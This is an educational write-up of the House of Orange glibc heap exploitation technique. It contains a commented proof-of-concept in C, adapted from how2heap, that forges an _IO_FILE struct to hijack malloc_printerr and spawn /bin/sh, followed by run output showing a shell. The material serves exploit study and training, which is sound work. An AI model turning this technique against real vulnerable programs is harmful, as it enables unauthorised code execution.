House of Orange Explanation

First off, this code from this challenge is from https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c. I basically just took it, and added my own comments. I couldn't figure out this attack in a decent time frame without sufficient documentation like that.

With that being said, here is the well documented source code explaining the attack:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// This code is from: https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c
// I couldn't of figured out this attack without sufficient documentation
// I basically just added comments to it

void pwn(char *inp)
{
    system(inp);
}

void main(void)
{
    // So let's cover House of Orange
    // The purpose of House of Orange is to get code execution
    // We will be doing this by targeting the malloc_printerr function, which is the function that prints out info when it detects memory corruption
    // Like this:
    /*
    *** Error in `./t': double free or corruption (fasttop): 0x0000000001d12010 ***
    ======= Backtrace: =========
    /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fa510f817e5]
    /lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fa510f8a37a]
    /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fa510f8e53c]
    ./t[0x400594]
    /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fa510f2a830]
    ./t[0x400499]
    ======= Memory map: ========
    00400000-00401000 r-xp 00000000 08:01 793068                             /Hackery/pod/modules/house_of_orange/house_orange_exp/t
    00600000-00601000 r--p 00000000 08:01 793068                             /Hackery/pod/modules/house_of_orange/house_orange_exp/t
    00601000-00602000 rw-p 00001000 08:01 793068                             /Hackery/pod/modules/house_of_orange/house_orange_exp/t
    01d12000-01d33000 rw-p 00000000 00:00 0                                  [heap]
    7fa50c000000-7fa50c021000 rw-p 00000000 00:00 0
    7fa50c021000-7fa510000000 ---p 00000000 00:00 0
    7fa510cf4000-7fa510d0a000 r-xp 00000000 08:01 397746                     /lib/x86_64-linux-gnu/libgcc_s.so.1
    7fa510d0a000-7fa510f09000 ---p 00016000 08:01 397746                     /lib/x86_64-linux-gnu/libgcc_s.so.1
    7fa510f09000-7fa510f0a000 rw-p 00015000 08:01 397746                     /lib/x86_64-linux-gnu/libgcc_s.so.1
    7fa510f0a000-7fa5110ca000 r-xp 00000000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
    7fa5110ca000-7fa5112ca000 ---p 001c0000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
    7fa5112ca000-7fa5112ce000 r--p 001c0000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
    7fa5112ce000-7fa5112d0000 rw-p 001c4000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
    7fa5112d0000-7fa5112d4000 rw-p 00000000 00:00 0
    7fa5112d4000-7fa5112fa000 r-xp 00000000 08:01 397680                     /lib/x86_64-linux-gnu/ld-2.23.so
    7fa5114db000-7fa5114de000 rw-p 00000000 00:00 0
    7fa5114f8000-7fa5114f9000 rw-p 00000000 00:00 0
    7fa5114f9000-7fa5114fa000 r--p 00025000 08:01 397680                     /lib/x86_64-linux-gnu/ld-2.23.so
    7fa5114fa000-7fa5114fb000 rw-p 00026000 08:01 397680                     /lib/x86_64-linux-gnu/ld-2.23.so
    7fa5114fb000-7fa5114fc000 rw-p 00000000 00:00 0
    7fff06ae4000-7fff06b05000 rw-p 00000000 00:00 0                          [stack]
    7fff06b99000-7fff06b9c000 r--p 00000000 00:00 0                          [vvar]
    7fff06b9c000-7fff06b9e000 r-xp 00000000 00:00 0                          [vdso]
    ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
    Aborted (core dumped)
    */

    // Thing is, in older versions of libc, when the function was called it would iterate through a list of
    // _IO_FILE structs stored in _IO_list_all, and actually execute an instruction pointer in that struct
    // This attack will forge a fake _IO_FILE struct that we will write to _IO_list_all, and cause malloc_printerr to run
    // Then it will execute whatever address we have stored in the _IO_FILE structs jump table, and we will get code execution

    // There are several benefits to how we are going to do this
    // First off, with how we do this, we won't ever need to call free directly in the code
    // We will need a libc and heap infoleak to execute this attack
    // In addition to that, we will need a heap overflow that will allow us to reach the top chunk
    // Also this works on versions of libc earlier than 2.26
    // Let's get started!


    // So starting off we will allocate a chunk off of the top chunk.
    // The top chunk is the heap chunk which contains data which hasn't been allocated yet
    // Malloc will allocate data off from this chunk when it can't find chunks from any of the bin lists
    // This call to malloc will set up the heap for us

    unsigned long *ptr, *topChunk;

    // Actual Size of chunk will be 0x400, because of heap metadata
    ptr = malloc(0x3f0);

    // Now the reason why we allocated a chunk that will be 0x400, is due to the top chunk
    // Now the top chunk is usually allocated with a size of 0x21000
    // After that allocation, the size of the top chunk has (0x21000 - 0x400) | 1 = 0x20c01

    // Now we will use the heap overflow to overwrite the size value of the top chunk
    // We will write to it 0xc01, which is a lesser value
    // That way we can cause the behavior in which it increases the top chunk (will be talked about later)
    // We put it's size as `0xc01` for two reasons
    // The first is that it the previous in use bit needs to be set (the 0x1), because if the previous block wasn't in use there should be a consolidation
    // The second is that the size of the top chunk plus the size of the chunk in this case needs to be paged aligned
    // Being page aligned means that the address starts at the start of a memory page

    // However first let's use the heap pointer we have to calculate the address of the top chunk, by adding an offset to it (we can find this offset in a debugger)

    topChunk = (unsigned long *) ((char *)ptr + 0x3f0);

    // Now let's set the size of the top chunk

    topChunk[1] = 0xc01;

    // Now that we have shrunk the size value, we will allocate a chunk size of 0x1000
    // Since the requested size is bigger than the size of the top chunk, the top chunk will be expanded
    // This is done in one of two ways, either by allocating another page with mmap, or extending the top chunk via allocating more memory with brk
    // If the size requested is less than 0x21000, then the brk method is used

    // When this is done sysmalloc will be invoked
    // The new memory will be allocated at the end of the current top chunk, and the old top chunk will be freed
    // This will cause it to enter into the unsorted bin (even though we never directly called free)
    // Assuming that we still have the heap overflow of the old top chunk, this will give us an overflow of an unsorted bin chunk

    /*
        Before 0x1000 Allocation
        +-----+-------------+
        | ptr |  top chunk  | < end of heap right there
        +-----+-------------+


        After 0x1000 Allocation
        +-----+----------------+---------------+
        | ptr |  old top chunk | New Top Chunk | < end of heap right there
        |     |  (now freed)   |               |
        +-----+----------------+---------------+
    */

    malloc(0x1000);

    // Now that our old top chunk is the only chunk in the unsorted bin, it has libc pointers in it
    // We will simulate a libc infoleak, and use it to calculate the address of _IO_list_all

    unsigned long _IO_list_all;
    _IO_list_all = topChunk[2] + 0x9a8;

    // Now we will prep for an unsorted bin attack here
    // For this, we will write to the first value in _IO_list_all the start of the unsorted bin, main_arena+88
    // This value is a ptr to the first chunk in the unsorted bin, which will be the old top chunk we have an overflow to
    // In this case this chunk gets split up to serve allocation requests (which it will) the bk chunk's fwd pointer gets overwritten with the unsorted bin list
    // In other words topChunk->bk->fwd = unsorted bin list (which is a ptr to the old top chunk)

    topChunk[3] = _IO_list_all - 0x10;

    // Now the next thing we will need to set is the size of the old top chunk
    // We will shrink it down to the size of a small bin chunk, specifically 0x61
    // This will serve two purposes
    // When malloc scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its size
    // So this chunk will also end up at the head of the small bin 4 list, as we can see here in memory:

    /*
    gef➤  x/10g 0x7ffff7dd1b78
    0x7ffff7dd1b78 <main_arena+88>:    0x624010    0x0
    0x7ffff7dd1b88 <main_arena+104>:    0x602400    0x7ffff7dd2510
    0x7ffff7dd1b98 <main_arena+120>:    0x7ffff7dd1b88    0x7ffff7dd1b88
    0x7ffff7dd1ba8 <main_arena+136>:    0x7ffff7dd1b98    0x7ffff7dd1b98
    0x7ffff7dd1bb8 <main_arena+152>:    0x7ffff7dd1ba8    0x7ffff7dd1ba8
    gef➤  x/4g 0x6023f0
    0x6023f0:    0x0    0x0
    0x602400:    0x68732f6e69622f    0x61
    */

    // This will give us a wrote to the fwd pointer of the value we will write to _IO_list_all (which so happens to overlap with small bin 4), since currently our only write is an unsorted bin attack
    // Also this will cause it to fail a check, when it checks the size of the false fwd chunk (which will be 0), which will cause malloc_printerr to be called

    topChunk[1] = 0x61;


    // Now we will finally set up the _IO_FILE struct, which will overlap with the old top chunk currently in the unsorted bin
    // However the first 8 bytes, we will write our input a pointer to it will be passed to the instruction pointer we are calling

    memcpy(topChunk, "/bin/sh", 8);

    // Now for the fake _IO_FILE struct

    _IO_FILE *fakeFp = (_IO_FILE *) topChunk;

    // Set mode to 0
    fakeFp->_mode = 0;

    // Set the write base to 2, and the write ptr to 3
    // We have to pass the check the the write ptr is greater than the write base

    fakeFp->_IO_write_base = (char *) 2;
    fakeFp->_IO_write_ptr = (char *) 3;    

    // Next up we make our jump table
    // This is where our instruction pointer will be called
    // In here I will be setting the instruction pointer equal to the address of pwn
    // However since we have a libc infoleak, we in practice could just set it to system

    unsigned long *jmpTable = &topChunk[12];
    jmpTable[3] = (unsigned long) &pwn;
    *(unsigned long *) ((unsigned long) fakeFp + sizeof(_IO_FILE)) = (unsigned long) jmpTable;

    // Now call malloc to cause this attack to execute

    malloc(10);
}

This is it running:

$	./house_orange_exp 
*** Error in `./house_orange_exp': malloc(): memory corruption: 0x00007ff3ededd520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ff3edb8f7e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7ff3edb9a13e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ff3edb9c184]
./house_orange_exp[0x4006e3]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ff3edb38830]
./house_orange_exp[0x400509]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 793068                             /Hackery/pod/modules/house_of_orange/house_orange_exp/house_orange_exp
00600000-00601000 r--p 00000000 08:01 793068                             /Hackery/pod/modules/house_of_orange/house_orange_exp/house_orange_exp
00601000-00602000 rw-p 00001000 08:01 793068                             /Hackery/pod/modules/house_of_orange/house_orange_exp/house_orange_exp
00727000-0076a000 rw-p 00000000 00:00 0                                  [heap]
7ff3e8000000-7ff3e8021000 rw-p 00000000 00:00 0 
7ff3e8021000-7ff3ec000000 ---p 00000000 00:00 0 
7ff3ed902000-7ff3ed918000 r-xp 00000000 08:01 397746                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ff3ed918000-7ff3edb17000 ---p 00016000 08:01 397746                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ff3edb17000-7ff3edb18000 rw-p 00015000 08:01 397746                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7ff3edb18000-7ff3edcd8000 r-xp 00000000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff3edcd8000-7ff3eded8000 ---p 001c0000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff3eded8000-7ff3ededc000 r--p 001c0000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff3ededc000-7ff3edede000 rw-p 001c4000 08:01 397708                     /lib/x86_64-linux-gnu/libc-2.23.so
7ff3edede000-7ff3edee2000 rw-p 00000000 00:00 0 
7ff3edee2000-7ff3edf08000 r-xp 00000000 08:01 397680                     /lib/x86_64-linux-gnu/ld-2.23.so
7ff3ee0e9000-7ff3ee0ec000 rw-p 00000000 00:00 0 
7ff3ee106000-7ff3ee107000 rw-p 00000000 00:00 0 
7ff3ee107000-7ff3ee108000 r--p 00025000 08:01 397680                     /lib/x86_64-linux-gnu/ld-2.23.so
7ff3ee108000-7ff3ee109000 rw-p 00026000 08:01 397680                     /lib/x86_64-linux-gnu/ld-2.23.so
7ff3ee109000-7ff3ee10a000 rw-p 00000000 00:00 0 
7ffc5443c000-7ffc5445d000 rw-p 00000000 00:00 0                          [stack]
7ffc545ac000-7ffc545af000 r--p 00000000 00:00 0                          [vvar]
7ffc545af000-7ffc545b1000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
$ w
 18:35:26 up  5:04,  1 user,  load average: 0.25, 0.14, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               13:35    5:04m  3:29   0.23s /sbin/upstart --user
$ ls
house_orange_exp  house_orange_exp.c  Readme.md